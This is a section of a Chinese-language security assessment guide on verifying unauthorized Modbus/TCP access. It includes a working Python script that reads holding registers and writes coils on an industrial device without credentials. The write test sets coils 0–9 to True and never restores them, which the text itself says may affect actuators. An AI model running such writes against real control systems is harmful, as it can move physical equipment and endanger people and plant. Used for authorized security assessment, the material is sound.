3. Modbus/TCP未授权访问验证

Modbus/TCP 未授权访问验证思路

Modbus/TCP 默认使用 502 端口，协议本身没有认证与授权机制。验证的核心不是“能不能连上”，而是确认从站在无任何凭据的情况下，是否允许读取保持寄存器（功能码 03）以及写入线圈（功能码 05/15）。如果两者都成功，说明设备缺少访问控制，可进一步记录可读写地址范围。

Modbus 地址存在两套表示：协议报文中的 PDU 地址从 0 开始，而工程习惯常写作 40001 起。本案例统一使用 PDU 地址（0 基），并在结果中同时标注工程地址，避免混淆。

Python 验证脚本

使用 pymodbus 客户端连接从站，先读取保持寄存器，再尝试写入线圈。脚本对每个操作分别捕获异常，区分“成功响应”“异常响应”“连接失败”三种情况，并记录可读写地址范围。

from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusIOException

TARGET_IP = "192.168.1.10"
TARGET_PORT = 502
UNIT_ID = 1

client = ModbusTcpClient(TARGET_IP, port=TARGET_PORT, timeout=3)
if not client.connect():
    print(f"[!] 无法连接 {TARGET_IP}:{TARGET_PORT}")
    raise SystemExit(1)

print(f"[+] 已连接 {TARGET_IP}:{TARGET_PORT}")

# --- 读取保持寄存器 (功能码 03) ---
readable = []
for addr in range(0, 20):
    try:
        rr = client.read_holding_registers(address=addr, count=1, slave=UNIT_ID)
        if not rr.isError():
            readable.append(addr)
            print(f"[读] PDU地址 {addr} (工程地址 {40001+addr}) = {rr.registers[0]}")
    except ModbusIOException:
        pass

# --- 写入线圈 (功能码 05) ---
writable = []
for addr in range(0, 10):
    try:
        wr = client.write_coil(address=addr, value=True, slave=UNIT_ID)
        if not wr.isError():
            writable.append(addr)
            print(f"[写] PDU地址 {addr} (工程地址 {1+addr}) 写入成功")
    except ModbusIOException:
        pass

client.close()

print("\n=== 验证结果 ===")
print(f"可读保持寄存器 PDU 地址: {readable}")
print(f"可写线圈 PDU 地址: {writable}")
if readable or writable:
    print("[风险] 设备缺少访问控制，未授权即可读写")
else:
    print("[安全] 未发现可读写地址")

结果判读与记录要点

• 读成功：功能码 03 返回寄存器值，说明保持寄存器可被任意读取，过程数据可能泄露。
• 写成功：功能码 05 回显请求报文，说明线圈可被任意置位/复位，可能影响执行机构。
• 异常响应：返回 Exception Code 01（非法功能）或 02（非法地址），说明该地址不可用，但不代表有访问控制。
• 地址范围：记录连续可读/可写的 PDU 地址区间，并换算为工程地址（40001+ 或 00001+）。